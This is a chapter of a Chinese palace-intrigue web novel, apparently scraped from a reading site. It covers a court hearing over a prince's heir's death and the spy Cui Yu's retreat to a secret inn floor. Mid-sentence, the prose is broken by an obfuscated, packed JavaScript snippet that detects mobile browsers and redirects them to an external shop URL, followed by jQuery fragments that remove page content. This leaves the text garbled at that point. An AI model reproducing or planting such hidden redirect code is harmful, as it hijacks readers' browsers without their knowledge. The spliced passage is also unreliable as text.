全燕师掌开狱司二十年,先帝在时就是他的左膀右臂。
与元卓并肩而立时,却不显老态,甚至隐隐占据上风。
他一袭紫袍,老老神在。身后的卫良秋,手捧木匣。
崔昱垂首立在元卓身后,余光却将殿内情势尽收眼底。
“近日民间沸沸扬扬,在讨论一桩旧案,诸位爱卿可听说了?”文帝靠在椅背上,有一搭没一搭地敲着书案。
“陛下。”全燕师走上前一步,“臣正是为这件事而来,愿为陛下排忧解难。”
“哦?”文帝敲击书案的指节停住,“你讲。”
“桓王世子一案,民间议论沸腾。源于从广安城传出来的奇诡之船一案,经过多个说书先生口口相传,民间议论纷纷。不少书生士子要求重审当年旧案,还桓王世子清白。”
“当年,定的何等罪?”文帝皱眉,似乎是真的想不起来这堂弟最后的结局。
“回禀陛下。”全燕师话音一顿,“是畏罪自杀。卷宗显示,桓王世子认罪画押之后,自觉有愧,无颜再见陛下,因此自杀。而后,他的亲卫副将暴起,混乱之中打翻火烛,船焚沉海。”
他话音一转,看向元卓,“当时负责押送桓王世子回京的正是元大人,不知元大人可有要补充的?”
元卓神色自若,他向前一步,“卷宗所述十分详细,事实如此。”
全燕师侧身示意,卫良秋立即向前,将木匣呈于御案。他展开一卷染血帛书,“此乃原定海军忠武将军张竟遥绝笔。详述了元大人在押解途中的所作所为。”
他顿了顿,“这里还有一枚墨玉扳指,是从疑似世子尸体上取下来的。”
文帝日前已经看过卫良秋传来的密信,了解了广安城奇诡之船事件的经过。
“荒谬!”元卓冷哼一声,“一张血书,一枚莫须有的扳指,就想构陷朝廷命官?全大人办事何时这般轻率了。”
他连忙拱手,“陛下,臣冤枉!”
“元大人莫急。”卫良秋从木匣中取出一只琉璃瓶子,一大一小两只通体红色的蛊虫在琥珀色的液体中沉浮。
“陛下,经过开狱司医使验证,这正是南雍秘宝,名为十二毒蛊虫。”
文帝接过瓶子,拿在手中把玩,卫良秋的密信中并未提起此事,他还有些好奇,“这蛊虫,怎么个操作法?”
“回禀陛下,十二毒蛊虫,又称作忆魂蛊虫。一子一母。中母蛊者,在母蛊入体的那一刻,回想记忆。母蛊便能把该记忆记录下来。将子蛊放入他人体中,便能看到母蛊记录过的画面。”
“竟如此奇妙。”文帝把琉璃瓶放在眼前,“那可还有人证目睹当年之事?”
“尚有一名世子亲卫幸存。”全燕师拱手,“已经候在殿外。”
文帝不动声色地看了元卓一眼。旁人或许没有注意到,但是却没有逃过崔昱的眼睛。
文帝的这个眼神就像是小石子入湖,在崔昱心中惊起圈圈涟漪。
他心中猛然一紧。
“不必带人上来。”文帝提笔开始批奏折,“还有其他证物吗?”
卫良秋拿出一卷泛黄文书,“陛下,刑部档案显示,元大人当年押送桓王世子所用镣铐,实是处决重犯的死囚拷。”
他展开文书,“而依礼制规定,未定罪的宗室当用软拷。”
“元卿?”
元卓从容出列,“回陛下,当年海匪猖獗,臣为防劫囚才用了重械。”
殿内空气骤然凝固,半晌文帝才缓缓开口,“元卿,朱瓒毕竟是宗室子,即使桓王确实牵连谋逆案,但是朱瓒并未定罪,上死囚镣铐,确实是过重了。”
“臣有罪。”
全燕师乘胜追击,“陛下,臣还查到,当年焚船乃是用的开狱司特有的石脂水,并非打翻火烛那么简单。桓王世子及亲卫副将等人的尸身均已寻到,上面有石脂水焚烧的痕迹。”
文帝猛然起身,将手中朱笔一掷,怒意不浅,“元卿,你还有何话说?”
元卓神色微变,跪地俯首,“陛下,石脂水一事,臣冤枉。”
“够了。”文帝突然拂袖,玉佩在腰间叮当作响,“此案交由三司会审,元卓暂卸开狱司职,禁足府中。”
“陛下。”全燕师还想再说什么,文帝摆摆手,抬脚离开紫宸殿。
陛下没有想象中的震怒,元卓的反应也过于平静了。
崔昱心中了然,这一次投石问路,算是摸清了文帝的态度。
崔昱跟在后边退出紫宸殿时,太阳正好穿过朱红宫墙。
他低头整理衣袖,忽然,前方传来一阵脚步声。
一位身着红色官袍的中年男子缓步走来。
他身形挺拔,面容儒雅,眉宇间却隐含肃杀之气,正是当朝丞相元维崧。
崔昱脚步微顿,随即低头侧身让路。
元维崧却在他面前停下。
见状,崔昱低头行礼,“下官崔昱,见过元相。”
“新任的司察掌事?”元维崧声音低沉,带着久居上位的威严。目光在他身上停留片刻,“听说你精通卜算?”
“不过是些江湖把戏。”崔昱语气谦卑。
一只骨节分明的手忽然伸过来,拂过他肩头并不存在的灰尘。
崔昱克制住心头异动,他年少之时只见过元维崧对元卓这般和颜悦色,像个慈父。
元维崧朝他微微颔首,错身而过的瞬间,忽起一阵微风,带起衣袖翻飞。
他们早已是棋局对立的执棋之人。
元卓被禁军带走,他便一人上了来时的马车。
崔昱在京中还没有住处,至少表面上是这样,因此马车在一家浮云斋停下。
小二见他身着官服,连忙迎上来,“大人,您这是要住店还是吃酒?”
“听说你们这儿的醉春风不错?”
“客官要几月的春风?”小二神情自若,引着他往里走。
“三月的最好。”
小二脚步微顿,像是第一次接待重要的人物一般,“客官跟我来。”
京城的浮云斋在最好的地段,楼高五层,在整个京城都是独一份的存在。而每上一层,都有着严格的消费限制。
其实五楼之上,还有一层第六楼,只是隐在飞檐之间,不易发现。而这第六层则只有密令之人才能上去。
也不怪小二如此吃惊,毕竟崔昱隐入江湖这些年
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045316|193916||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,还从未回过京城。
“让掌柜的来见我。”崔昱关门时嘱咐小二。
这第六层格局与他江州山里的院子差不多,连陈设几乎都是一比一还原。
素净雅致,以青灰、檀木二色为主,不显奢华。四壁悬挂竹帘,风过微动,衬得室内格外清净。
崔昱给自己泡上一壶茶,换下官袍,他常穿的衣服,各家浮云斋均有存放。
他挑挑捡捡,换了一件朱砂红交领广袖长衫,日光下泛着淡淡的金丝光泽,如晚霞映水。
外罩一件白色半臂,衣缘用银线修者细密的缠枝纹。
显得鲜亮一点。
掌柜的来得很快,他二十来岁年纪,打扮利落,“在下浮云斋京城分店掌柜周东陵,见过斋主。”
崔昱动作未停,“传令京郊别院,让瑞爷来见我。”
“是。”
崔昱摆弄着棋子,自己和自己下棋,“若是元卓做的事,均是文帝授意,又当如何破局?”
“元卓没有认出我,元维崧认出我来吗?”他来回碾着棋子。
始终感觉元维崧的态度有些奇怪,不像是他往常的行事风格。
难道是太久没交手,这人转性了?
他将棋子一抛,斜倚在矮榻上,闭目养神,也许是到了熟悉的环境,竟然沉沉睡去,睫毛在眼下投出两道阴影,随着呼吸轻轻颤动。
广袖铺展在席上,衣襟微敞,露出里头素白的中衣。
春阳正烈,竹帘滤进细碎的金光,崔昱的外衫被晒得微微发烫,额头沁出薄汗。
“吱呀……”李瑞山推门而入。
崔昱倏地睁眼,待看清来人后,紧绷的神经才松了下来。
“瑞山啊。”
李瑞山反手关上门,提着一个食盒,“还没吃饭?”
听到他这样说,崔昱才反应过来,自己这两天竟然只喝了几杯茶水。
“饿习惯了,一时还没发现。”他接过食盒,“给我带什么好吃的了?”
李瑞山看着他的样子皱了皱眉,怎么又受伤了?他就知道去元卓手下走一遭没有那么简单。
崔昱这才发现中衣的领口松了些。露出了肩头渗血的绷带,本就是他随便包扎的,也许是没弄好。他拢了拢衣襟,“小伤而已。”
“怎的手上也有伤?”李瑞山一把扣住他的手腕。
崔昱手指修长,指节分明,指尖泛着不自然的红,尤其是右手的食指和中指,指腹微微肿胀,细看之下还能看到细小的针眼,格外刺目。
他有些不自然,指尖在掌心微微一蜷,挣脱李瑞山的手,懒懒一笑,“不碍事,只是写字的时候有些抖。”
看他还是沉默,他又解释,“再说我现在也不写字,不怎么用手,过两日就好了。”
李瑞山盯着他,眼底暗潮翻涌,蚀骨针是开狱司的秘刑,针尖淬毒,痛极却不留明显的伤痕。
“是元卓?”他拿来药箱,想给崔昱包扎。
但是崔昱接受不了自己的十根指头被五花大绑,遂作罢。
“好了好了,你看这拿筷子拿得稳当着,快吃快吃。”崔昱看着眼前的饭菜食指大动,都是他喜欢吃的菜色。